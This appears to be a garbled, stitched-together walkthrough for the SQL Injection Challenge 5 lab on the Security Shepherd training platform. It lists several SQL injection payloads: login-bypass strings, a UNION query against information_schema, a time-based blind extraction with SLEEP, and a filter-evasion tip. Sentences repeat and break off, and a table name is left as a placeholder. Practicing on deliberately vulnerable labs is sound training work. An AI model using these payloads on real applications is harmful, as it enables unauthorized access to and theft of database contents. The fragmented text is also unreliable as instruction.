To run it yourself, the platform can be deployed locally for individual use or as a server for larger groups. A Docker image is available for a quick setup:
SELECT * FROM users WHERE username = '' OR '1'='1';
admin' || '1'='1' /* Password: anything
Let's assume the output reveals a table named (or similar). Sql Injection Challenge 5 Security Shepherd
Pro tip: If ORDER BY is filtered, use 1 GROUP BY 3,2,1 to test column counts.
5' AND (SELECT COUNT(*) FROM keys) > 0 AND '1'='1
The reason Challenge 5 exists is due to the unsafe concatenation of user input directly into a database query string. Unsafe Code Example (Vulnerable) To run it yourself, the platform can be
: The application likely uses a basic SQL query to verify coupons, such as: SELECT coupon_code FROM coupons WHERE coupon_code = 'User_Input';
What is your backend project using for remediation? Share public link
admin' AND IF(SUBSTRING((SELECT flag FROM flags),1,1)='a', SLEEP(5), 0) -- - 5' AND (SELECT COUNT(*) FROM keys) > 0
The screen should list the columns in that table. Common names are username , password , pin , or answer .
1 AND 1=2 UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='administrators' -- -